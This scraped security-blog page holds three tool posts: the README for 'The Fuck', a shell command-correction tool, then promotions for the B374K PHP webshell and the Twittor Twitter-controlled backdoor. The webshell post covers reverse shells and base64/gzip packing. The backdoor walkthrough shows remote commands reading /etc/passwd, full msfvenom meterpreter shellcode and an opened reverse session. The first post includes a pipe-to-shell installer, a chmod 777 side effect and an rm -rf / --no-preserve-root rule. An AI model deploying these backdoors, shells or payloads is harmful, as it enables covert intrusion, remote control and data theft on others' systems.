  • pip
  • python-dev

Installation [ experimental ]
On Ubuntu and OS X you can install The Fuck with installation script:
wget -O - https://raw.githubusercontent.com/nvbn/thefuck/master/install.sh | sh - && $0

Manual installation
Install The Fuck with pip :
sudo pip install thefuck
Or using an OS package manager (OS X, Ubuntu, Arch).
You should place this command in your .bash_profile , .bashrc , .zshrc or other startup script:
eval "$(thefuck --alias)"
# You can use whatever you want as an alias, like for Mondays:
eval "$(thefuck --alias FUCK)"
Or in your shell config (Bash, Zsh, Fish, Powershell, tcsh).
Changes will be available only in a new shell session. To make them available immediately, run source ~/.bashrc (or your shell config file like .zshrc ).

Update
sudo pip install thefuck --upgrade
Aliases changed in 1.34.

How it works
The Fuck tries to match a rule for the previous command, creates a new command using the matched rule and runs it. Rules enabled by default are as follows:
  • cargo – runs cargo build instead of cargo ;
  • cargo_no_command – fixes wrongs commands like cargo buid ;
  • cd_correction – spellchecks and correct failed cd commands;
  • cd_mkdir – creates directories before cd'ing into them;
  • cd_parent – changes cd.. to cd .. ;
  • composer_not_command – fixes composer command name;
  • cp_omitting_directory – adds -a when you cp directory;
  • cpp11 – adds missing -std=c++11 to g++ or clang++ ;
  • dirty_untar – fixes tar x command that untarred in the current directory;
  • dirty_unzip – fixes unzip command that unzipped in the current directory;
  • django_south_ghost – adds --delete-ghost-migrations to failed because ghosts django south migration;
  • django_south_merge – adds --merge to inconsistent django south migration;
  • docker_not_command – fixes wrong docker commands like docker tags ;
  • dry – fixes repetitions like git git push ;
  • fix_alt_space – replaces Alt+Space with Space character;
  • fix_file – opens a file with an error in your $EDITOR ;
  • git_add – fixes "Did you forget to 'git add'?" ;
  • git_branch_delete – changes git branch -d to git branch -D ;
  • git_branch_list – catches git branch list in place of git branch and removes created branch;
  • git_checkout – fixes branch name or creates new branch;
  • git_diff_staged – adds --staged to previous git diff with unexpected output;
  • git_fix_stash – fixes git stash commands (misspelled subcommand and missing save );
  • git_not_command – fixes wrong git commands like git brnch ;
  • git_pull – sets upstream before executing previous git pull ;
  • git_pull_clone – clones instead of pulling when the repo does not exist;
  • git_push – adds --set-upstream origin $branch to previous failed git push ;
  • git_push_pull – runs git pull when push was rejected;
  • git_stash – stashes you local modifications before rebasing or switching branch;
  • git_two_dashes – adds a missing dash to commands like git commit -amend or git rebase -continue ;
  • go_run – appends .go extension when compiling/running Go programs
  • grep_recursive – adds -r when you trying to grep directory;
  • gulp_not_task – fixes misspelled gulp tasks;
  • has_exists_script – prepends ./ when script/binary exists;
  • heroku_not_command – fixes wrong heroku commands like heroku log ;
  • history – tries to replace command with most similar command from history;
  • java – removes .java extension when running Java programs;
  • javac – appends missing .java when compiling Java files;
  • lein_not_task – fixes wrong lein tasks like lein rpl ;
  • ls_lah – adds -lah to ls ;
  • man – changes manual section;
  • man_no_space – fixes man commands without spaces, for example mandiff ;
  • mercurial – fixes wrong hg commands;
  • mkdir_p – adds -p when you trying to create directory without parent;
  • mvn_no_command – adds clean package to mvn ;
  • mvn_unknown_lifecycle_phase – fixes misspelled lifecycle phases with mvn ;
  • no_command – fixes wrong console commands, for example vom/vim ;
  • no_such_file – creates missing directories with mv and cp commands;
  • open – prepends http to address passed to open ;
  • pip_unknown_command – fixes wrong pip commands, for example pip instatl/pip install ;
  • python_command – prepends python when you trying to run not executable/without ./ python script;
  • python_execute – appends missing .py when executing Python files;
  • quotation_marks – fixes uneven usage of ' and " when containing args';
  • rm_dir – adds -rf when you trying to remove directory;
  • sed_unterminated_s – adds missing '/' to sed 's s commands;
  • sl_ls – changes sl to ls ;
  • ssh_known_hosts – removes host from known_hosts on warning;
  • sudo – prepends sudo to previous command if it failed because of permissions;
  • switch_lang – switches command from your local layout to en;
  • systemctl – correctly orders parameters of confusing systemctl ;
  • test.py – runs py.test instead of test.py ;
  • touch – creates missing directories before "touching";
  • tsuru_login – runs tsuru login if not authenticated or session expired;
  • tsuru_not_command – fixes wrong tsuru commands like tsuru shell ;
  • tmux – fixes tmux commands;
  • unknown_command – fixes hadoop hdfs-style "unknown command", for example adds missing '-' to the command on hdfs dfs ls ;
  • vagrant_up – starts up the vagrant instance;
  • whois – fixes whois command.
Enabled by default only on specific platforms:
  • apt_get – installs app from apt if it not installed (requires python-commandnotfound / python3-commandnotfound );
  • apt_get_search – changes trying to search using apt-get with searching using apt-cache ;
  • brew_install – fixes formula name for brew install ;
  • brew_unknown_command – fixes wrong brew commands, for example brew docto/brew doctor ;
  • brew_upgrade – appends --all to brew upgrade as per Homebrew's new behaviour;
  • pacman – installs app with pacman if it is not installed (uses yaourt if available);
  • pacman_not_found – fixes package name with pacman or yaourt .
Bundled, but not enabled by default:
  • git_push_force – adds --force to a git push (may conflict with git_push_pull );
  • rm_root – adds --no-preserve-root to rm -rf / command.

Creating your own rules
For adding your own rule you should create your-rule-name.py in ~/.thefuck/rules . The rule should contain two functions:
match(command: Command) -> bool
get_new_command(command: Command) -> str | list[str]
Also the rule can contain an optional function
side_effect(old_command: Command, fixed_command: str) -> None
and optional enabled_by_default , requires_output and priority variables.
Command has three attributes: script , stdout and stderr .
Rules api changed in 3.0: For accessing settings in rule you need to import it with from thefuck.conf import settings . settings is a special object filled with ~/.thefuck/settings.py and values from env ( see more below ).
Simple example of the rule for running script with sudo :
def match(command):
return ('permission denied' in command.stderr.lower()
or 'EACCES' in command.stderr)


def get_new_command(command):
return 'sudo {}'.format(command.script)

# Optional:
enabled_by_default = True

def side_effect(command, fixed_command):
subprocess.call('chmod 777 .', shell=True)

priority = 1000 # Lower first, default is 1000

requires_output = True
More examples of rules , utility functions for rules , app/os-specific helpers .

Settings
The Fuck has a few settings parameters which can be changed in ~/.thefuck/settings.py :
  • rules – list of enabled rules, by default thefuck.conf.DEFAULT_RULES ;
  • exclude_rules – list of disabled rules, by default [] ;
  • require_confirmation – requires confirmation before running new command, by default True ;
  • wait_command – max amount of time in seconds for getting previous command output;
  • no_colors – disable colored output;
  • priority – dict with rules priorities, rule with lower priority will be matched first;
  • debug – enables debug output, by default False .
Example of settings.py :
rules = ['sudo', 'no_command']
exclude_rules = ['git_push']
require_confirmation = True
wait_command = 10
no_colors = False
priority = {'sudo': 100, 'no_command': 9999}
debug = False
Or via environment variables:
  • THEFUCK_RULES – list of enabled rules, like DEFAULT_RULES:rm_root or sudo:no_command ;
  • THEFUCK_EXCLUDE_RULES – list of disabled rules, like git_pull:git_push ;
  • THEFUCK_REQUIRE_CONFIRMATION – require confirmation before running new command, true/false ;
  • THEFUCK_WAIT_COMMAND – max amount of time in seconds for getting previous command output;
  • THEFUCK_NO_COLORS – disable colored output, true/false ;
  • THEFUCK_PRIORITY – priority of the rules, like no_command=9999:apt_get=100 , rule with lower priority will be matched first;
  • THEFUCK_DEBUG – enables debug output, true/false .
For example:
export THEFUCK_RULES='sudo:no_command'
export THEFUCK_EXCLUDE_RULES='git_pull:git_push'
export THEFUCK_REQUIRE_CONFIRMATION='true'
export THEFUCK_WAIT_COMMAND=10
export THEFUCK_NO_COLORS='false'
export THEFUCK_PRIORITY='no_command=9999:apt_get=100'

Developing
Install The Fuck for development:
pip install -r requirements.txt
python setup.py develop
Run unit tests:
py.test
Run unit and functional tests (requires docker):
py.test --enable-functional
For sending package to pypi:
sudo apt-get install pandoc
./release.py


Share:

B374K - PHP Webshell with handy features




This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser.


Features :
  • File manager (view, edit, rename, delete, upload, download, archiver, etc)
  • Search file, file content, folder (also using regex)
  • Command execution
  • Script execution (php, perl, python, ruby, java, node.js, c)
  • Give you shell via bind/reverse shell connect
  • Simple packet crafter
  • Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more using ODBC or PDO)
  • SQL Explorer
  • Process list/Task manager
  • Send mail with attachment (you can attach local file on server)
  • String conversion
  • All of that only in 1 file, no installation needed
  • Support PHP > 4.3.3 and PHP 5

Requirements :
  • PHP version > 4.3.3 and PHP 5
  • As it using zepto.js v1.1.2, you need modern browser to use b374k shell. See browser support on zepto.js website http://zeptojs.com/
  • Responsibility of what you do with this shell

Installation :
Download b374k.php (default password : b374k), edit and change password and upload b374k.php to your server, password is in sha1(md5()) format. Or create your own b374k.php, explained below

Customize :
After finished doing editing with files, upload index.php, base, module, theme and all files inside it to a server
Using Web Browser :
Open index.php in your browser, quick run will only run the shell. Use packer to pack all files into single PHP file. Set all the options available and the output file will be in the same directory as index.php
Using Console :
$ php -f index.php
b374k shell packer 0.4

options :
-o filename save as filename
-p password protect with password
-t theme theme to use
-m modules modules to pack separated by comma
-s strip comments and whitespaces
-b encode with base64
-z [no|gzdeflate|gzencode|gzcompress] compression (use only with -b)
-c [0-9] level of compression
-l list available modules
-k list available themes

example :
$ php -f index.php -- -o myShell.php -p myPassword -s -b -z gzcompress -c 9
Don't forget to delete index.php, base, module, theme and all files inside it after you finished. Because it is not protected with password so it can be a security threat to your server


Share:

Twittor - A fully featured backdoor that uses Twitter as a C&C server



A stealthy Python based backdoor that uses Twitter (Direct Messages) as a command and control server This project has been inspired by Gcat which does the same but using a Gmail account.

Setup
For this to work you need:
  • A Twitter account ( Use a dedicated account! Do not use your personal one! )
  • Register an app on Twitter with Read, write, and direct messages Access levels.
Install the dependencies:
$ pip install -r requirements.txt
This repo contains two files:
  • twittor.py which is the client
  • implant.py the actual backdoor to deploy
In both files, edit the access token part and add the ones that you previously generated:
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
You're probably going to want to compile implant.py into an executable using Pyinstaller In order to remove the console when compiling with Pyinstaller, the flags --noconsole --onefile will help. Just saying.

Usage
In order to run the client, launch the script.
$ python twittor.py
You'll then get into an 'interactive' shell which offers few commands that are:
$ help

refresh - refresh C&C control
list_bots - list active bots
list_commands - list executed commands
!retrieve <jobid> - retrieve jobid command
!cmd <MAC ADDRESS> command - execute the command on the bot
!shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
help - print this usage
exit - exit the client

$
  • Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$

The output is the MAC address which is used to uniquely identifies the system but also gives you OS information the implant is running on. In that case a Linux box.
  • Let's issue a command to an implant:
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$

Here we are telling B7:76:1F:0B:50:B7 to execute cat /etc/passwd , the script then outputs the jobid that we can use to retrieve the output of that command
  • Lets get the results!
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)

Command to use in that case is !retrieve followed by the jobid from the command.
  • Refresh results
In order to retrieve new bots/command outputs but also force the client to refresh the results, use the refresh command.
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$

This will send a PING request and wait 10 seconds for them to answer. Direct messages will then be parsed - Bot list will be refreshed but also the command list, including new command outputs.
  • Retrieve previous commands
As I said earlier, (previous) commands will be retrieved from older direct messages (limit is 200) and you can actually retrieve/see them by using the list_commands command
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
  • Running shellcode (Windows hosts)
This option might be handy in order to retrieve a meterpreter session and this article becomes really useful.
Generate your meterpreter shellcode, like:
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

Extract the shellcode and send it to the specified bot using the !shellcode command!
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$

Et voilà!
msf exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.1:3615
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec

Open a beer and enjoy your reverse meterpreter shell.


Share:
Established in 2015. Offensive Sec Blog has been sharing security research, hacking tools, threat intelligence, and offensive security content since 2015.
Copyright © OffSec Blog | Powered by OffensiveSec
Design by OffSec | Built for the security community